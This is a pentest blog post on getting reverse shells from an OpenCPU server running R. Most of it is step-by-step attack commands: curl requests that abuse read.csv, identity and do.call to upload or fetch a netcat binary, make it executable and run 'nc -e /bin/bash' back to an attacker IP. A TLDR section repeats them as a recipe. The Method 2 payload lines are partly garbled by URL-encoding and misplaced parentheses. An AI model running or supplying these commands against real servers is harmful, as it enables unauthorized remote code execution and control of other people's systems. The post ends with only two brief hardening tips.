Shells - brought to you by the letter 'R'

Jul 23 2018

Can you tell me how to get, how to get shells on OpenCPU…

Introduction

If you haven’t already, at some point in the near future you’re probably going to run across a server hosting the R programming language. It’s a language that is growing in popularity and deployment at an amazing rate. The IEEE ranks ‘R’ as the Number 6th most popular programming language. As with anything new encountered during a pen test, it raises the question: “Can I use this to get shells”?

The answer is yes. The examples here are based on R running on an OpenCPU server. Prefer the TLDR version? Head straight to the end for the skinny on RCE.

R - Background

R is an Open Source programming language and environment for statistical computing and graphics. It provides a wealth of statistical and graphical techniques and is highly extensible. The R-Project.org web site describes R as an integrated suite of software facilities for data manipulation, calculation and graphical display. It includes:

  • an effective data handling and storage facility,
  • a suite of operators for calculations on arrays, in particular matrices,
  • a large, coherent, integrated collection of intermediate tools for data analysis,
  • graphical facilities for data analysis and display either on-screen or on hardcopy, and
  • a well-developed, simple and effective programming language which includes conditionals, loops, user-defined recursive functions and input and output facilities.

OpenCPU

OpenCPU is a system for embedded scientific computing and research. The OpenCPU server provides a reliable and interoperable HTTP API for data analysis based on R.

The Test Environment

The test environment is a default Ubuntu 18.04 LTS installation and a Docker container running OpenCPU version 2.0.7, which runs R version 3.4.4.

docker run --name OpenCPU-R -t -p 80:80 opencpu/rstudio

The docker container runs the OpenCPU server on port 80. In this case on IP 192.168.1.8. The OpenCPU interface is accessible by browsing to http://192.168.1.8/ocpu/

Get Shells

The attacking machine is a default install of Kali Linux. Any attacking machine can work for this, Kali was chosen because it was on hand and comes with a version of nc that allows the use of the -e flag. There are three functions that are part of the base R language that are of interest for this attack:

  • Base::read.csv
  • Base::identity
  • Base::do.call

Base:read.csv is for importing csv files, but it will upload any type of file. Both identity and do.call can provide arbitrary command execution and both are accessible by default.

In R there are two ways to execute OS commands, system() and system2()

Method 1

This example uses Base::identity and a multi-step approach with the system() function:

  • Copy nc to a working directory on the attacking machine
  • Upload nc to the target system
  • Make nc executable
  • Execute nc

The first step is to upload the file onto the OpenCPU server using Base::read.csv

curl http://192.168.1.8/ocpu/library/utils/R/read.csv/ -F "file=@nc"

OpenCPU uploads the file into the OpenCPU storage directory /tmp/ocpu-store/, under a subdirectory that is created when the read.csv function is called. The directory name is helpfully returned, in this case x0f13b02f19.

Using the Base::identity function and the R language system() call, we can execute OS commands. We’ll use this to make nc executable and subsequently execute it.

curl http://192.168.1.8/ocpu/library/base/R/identity -d "x=system('chmod 0755 /tmp/ocpu-store/x0f13b02f19/nc')"

Next, start a listener on the attacking machine:

nc -lvnp 8888

Now launch the uploaded nc to establish a reverse shell to the attacking machine:

curl http://192.168.1.8/ocpu/library/base/R/identity -d "x=system('/tmp/ocpu-store/x0f13b02f19/nc -e /bin/bash 192.168.1.7 8888')"

Method 2

The second method is using the Base:do.call function.

In this example, everything is combined into one API request. Instead of uploading the nc binary using read.csv, it uses the R language system2() call and uses curl to fetch the nc binary from a web server running on the attacking machine:

The function posted uses three system2() calls to

  • Fetch the nc binary from a web server running on the attacking machine.
  • Make it executable
  • Execute it to connect to the attacking machine.

In the directory with the copied nc binary, start a web server so it can be served when the OpenCPU servers asks for it:

python -m SimpleHTTPServer 80

Execute:

curl http://192.168.1.8/ocpu/library/base/R/do.call/ -d 'what=function(x){system2("curl","-O http://192.168.1.7:80/nc%22);system2(%22chmod%22,%220755 ./nc");system2("./nc","-e /bin/bash 192.168.1.7 8888")}&args={}'

The OpenCPU server requests the nc binary from the attackers web server:

Which is then made executable by the chmod in the system2() call and subsequently executed, connecting to the attacking machine:

In this case, there is no need to reference any of the internal storage directory information for the location of the nc binary. The process all takes place in one R function, so the directory management is taken care of by the R backend.

Securing OpenCPU

  • Avoid exposing the OpenCPU API to the Internet or untrusted networks.
  • Implement a strong authentication mechanism to control access to the API.

Further Reading

An API for Embedded Scientific Computing: https://www.opencpu.org/
The R Project for Statistical Computing: https://www.r-project.org/
R Script or function execution: https://github.com/opencpu/opencpu/wiki/Script-or-function-execution

TLDR

Method 1

  1. Upload nc
    • curl http://192.168.1.8/ocpu/library/utils/R/read.csv/ -F "file=@nc"
  2. Make it executable
    • curl http://192.168.1.8/ocpu/library/base/R/identity -d "x=system('chmod 0755 /tmp/ocpu-store/x0f13b02f19/nc')"
  3. Start listener
    • nc -lvnp 8888
  4. Spawn reverse shell
    • curl http://192.168.1.8/ocpu/library/base/R/identity -d "x=system('/tmp/ocpu-store/x0f13b02f19/nc -e /bin/bash 192.168.1.7 8888')"

Method 2

  1. Serve nc from attacking web server
    • python -m SimpleHTTPServer 80
  2. Start listener
    • nc -lvnp 8888
  3. Spawn reverse shell
    • curl http://192.168.1.8/ocpu/library/base/R/do.call/ -d 'what=function(x){system2("curl","-O http://192.168.1.7:80/nc%22;system2(%22chmod%22,%220755) ./nc");system2("./nc","-e /bin/bash 192.168.1.7 8888")}&args={}'